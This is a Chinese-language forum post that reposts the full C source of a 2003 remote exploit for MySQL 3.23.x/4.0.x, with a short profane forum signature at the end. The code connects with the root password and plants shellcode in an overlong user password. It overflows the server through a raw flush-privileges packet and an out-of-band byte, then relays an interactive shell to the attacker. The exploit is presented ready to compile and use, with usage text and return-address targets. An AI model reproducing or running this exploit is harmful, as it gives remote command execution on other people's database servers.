发新话题
打印

Mysql 3.23.x/4.0.x remote exploit

Mysql 3.23.x/4.0.x remote exploit

文章作者:bkbll@cnhonker.net
信息来源:YTT那丫的blog 嘿嘿
复制内容到剪贴板
代码:
/* exp for mysql
* proof of concept
* using jmp *eax
* bkbll([email]bkbll@cnhonker.net[/email],[email]bkbll@tom.com[/email]) 2003/09/12
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
* DO NOT DISTRUBITED IT
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <netdb.h>
#include <mysql/mysql.h>

#define PAD 19*4*2
#define JMPADDR 0x42125b2b
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!=&#39;root&#39; OR user=&#39;root LIMIT 1,1&#39;"
#define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
#define BUF 1024

MYSQL *conn;
char NOP[]="90";
/*
char shellcode[]=
"31c031db31c9b002"
"cd8085c0751b4b31"
"d2b007cd8031c0b0"
"40cd8089c331c9b1"
"09b025cd80b001cd"
"80b017cd8031c050"
"405089e331c9b0a2"
"cd80b1e089c883e8"
"0af7d04089c731c0"
"404c89e250505257"
"518d4c240431dbb3"
"0ab066cd805983f8"
"017505803a497409"
"e2d231c04089c3cd"
"8089fbb103b03f49"
"cd8041e2f851686e"
"2f7368682f2f6269"
"89e351682d696c70"
"89e251525389e131"
"d231c0b00bcd8090";
*/
char shellcode[]=
"db31c03102b0c931"
"c08580cd314b1b74"
"cd07b0d2b0c03180"
"8980cd40b1c931c3"
"cd25b009cd01b080"
"cd17b08050c03180"
"e3895040a2b0c931"
"e0b180cde883c889"
"40d0f70ac031c789"
"e2894c4057525050"
"244c8d51b3db3104"
"cd66b00af8835980"
"800575010974493a"
"c031d2e2cdc38940"
"b1fb8980493fb003"
"e24180cd6e6851f8"
"6868732f69622f2f"
"6851e389706c692d"
"5251e28931e18953"
"b0c031d29080cd0b";

int type=1;
struct
{
char *os;
u_long ret;
} targets[] =
    {
       { "glibc-2.2.93-5", 0x42125b2b },
   },v;

void usage(char *);
void sqlerror(char *);
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);

main(int argc,char **argv)
{
   MYSQL_RES *result;
   MYSQL_ROW row;
   char jmpaddress[8];
   char buffer[BUF],muser[20],buf2[800];
   my_ulonglong rslines;
   struct sockaddr_in clisocket;
   int i=0,j,clifd,count,a;
   char data1,c;
   fd_set fds;
   char *server=NULL,*rootpass=NULL;

   if(argc<3) usage(argv[0]);
   while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
    {
        switch (c)
        {
          case &#39;d&#39;:
            server=optarg;
            break;
          case &#39;t&#39;:
            type = atoi(optarg);
            if((type > sizeof(targets)/sizeof(v)) || (type < 1))
                usage(argv[0]);
            break;
         case &#39;p&#39;:
            rootpass=optarg;
             break;
         default:
            usage(argv[0]);
            return 1;
          }
       }
       if(server==NULL || rootpass==NULL)
          usage(argv[0]);
   memset(muser,0,20);
   memset(buf2,0,800);
   printf("@-------------------------------------------------@\n");
   printf("#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #\n");
   printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
   printf("---------------------------------------------------\n");
   printf("[+] Connecting to mysql server %s:%d....",server,PORT);
   fflush(stdout);
   conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
   if(conn==NULL) exit(0);
   printf("ok\n");
   printf("[+] ALTER user column...");
   fflush(stdout);
   if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
      sqlerror("ALTER user table failed");
   //select
   printf("ok\n");
   printf("[+] Select a valid user...");
   fflush(stdout);
   if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
      sqlerror("select user from table failed");
   printf("ok\n");
   result=mysql_store_result(conn);
   if(result==NULL)
      sqlerror("store result error");
   rslines=mysql_num_rows(result);
   if(rslines==0)
      sqlerror("store result error");
   row=mysql_fetch_row(result);
   snprintf(muser,19,"%s",row[0]);
   printf("[+] Found a user:%s\n",muser);
   memset(buffer,0,BUF);
   i=sprintf(buffer,"update user set password=&#39;");
   sprintf(jmpaddress,"%x",JMPADDR);
   jmpaddress[8]=0;
   for(j=0;j<PAD-4;j+=2)
   {
      memcpy(buf2+j,NOP,2);
   }
   memcpy(buf2+j,"06eb",4);
   memcpy(buf2+PAD,jmpaddress,8);
   memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
   j=strlen(buf2);
   if(j%8)
   {
      j=j/8+1;
      count=j*8-strlen(buf2);
      memset(buf2+strlen(buf2),&#39;A&#39;,count);
   }
   printf("[+] Password length:%d\n",strlen(buf2));
   memcpy(buffer+i,buf2,strlen(buf2));
   i+=strlen(buf2);
   i+=sprintf(buffer+i,"&#39; where user=&#39;%s&#39;",muser);
   mysql_free_result(result);
   printf("[+] Modified password...");
   fflush(stdout);   
   //get result
   //write(2,buffer,i);
   if(mysql_real_query(conn,buffer,i)!=0)
      sqlerror("Modified password error");
   //here I&#39;ll find client socket fd
   printf("ok\n");
   printf("[+] Finding client socket......");
   j=sizeof(clisocket);
   for(clifd=3;clifd<256;clifd++)
   {
      if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue;
      if(clisocket.sin_port==htons(PORT)) break;
   }
   if(clifd==256)
   {
      printf("FAILED\n[-] Cannot find client socket\n");
      mysql_close(conn);
      exit(0);
   }
   data1=&#39;I&#39;;
   printf("ok\n");
   printf("[+] socketfd:%d\n",clifd);
   //let server overflow
   printf("[+] Overflow server....");
   fflush(stdout);
   send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
   //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0)
   //   sqlerror("Flush error");
   printf("ok\n");
    printf("[+] sending OOB.......");
    fflush(stdout);
    if(send(clifd,&data1,1,MSG_OOB)<1)
    {
       perror("error");
       mysql_close(conn);
       exit(0);
    }
   printf("ok\r\n");
   printf("[+] Waiting a shell.....");
   fflush(stdout);
   j=0;
   memset(buffer,0,BUF);
    while(1)
   {
      FD_ZERO(&fds);
      FD_SET(0, &fds);
      FD_SET(clifd, &fds);
      
      if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
      {
        if (errno == EINTR) continue;
        break;
      }
      if (FD_ISSET(0, &fds))
      {
        count = read(0, buffer, BUF);
        if (count <= 0) break;
        if (write(clifd, buffer, count) <= 0) break;
        memset(buffer,0,BUF);
      }
      if (FD_ISSET(clifd, &fds))
      {
        count = read(clifd, buffer, BUF);
        if (count <= 0) break;
        if(j==0) printf("Ok\n");
        j=1;
        if (write(1, buffer, count) <= 0) break;
        memset(buffer,0,BUF);
      }
      
   }   
}

void usage(char *s)
{
   int a;
   printf("@-------------------------------------------------@\n");
   printf("#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #\n");
   printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
   printf("---------------------------------------------------\n");
   printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s);
   printf("    -d target host ip/name\n");
   printf("    -p &#39;root&#39; user paasword\n");
   printf("    -t  type [default:%d]\n",type);
   printf("    ------------------------------\n");
   for(a = 0; a < sizeof(targets)/sizeof(v); a++)
      printf("      %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);  
   printf("\n");        
   exit(0);
}
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
{
   MYSQL *connect;
   connect=mysql_init(NULL);
   if(connect==NULL)
   {
      printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
      return NULL;
   }
   if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
   {
        printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
        return NULL;
     }
     return connect;

}
void sqlerror(char *s)
{
   fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
   mysql_close(conn);
   exit(0);
}
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题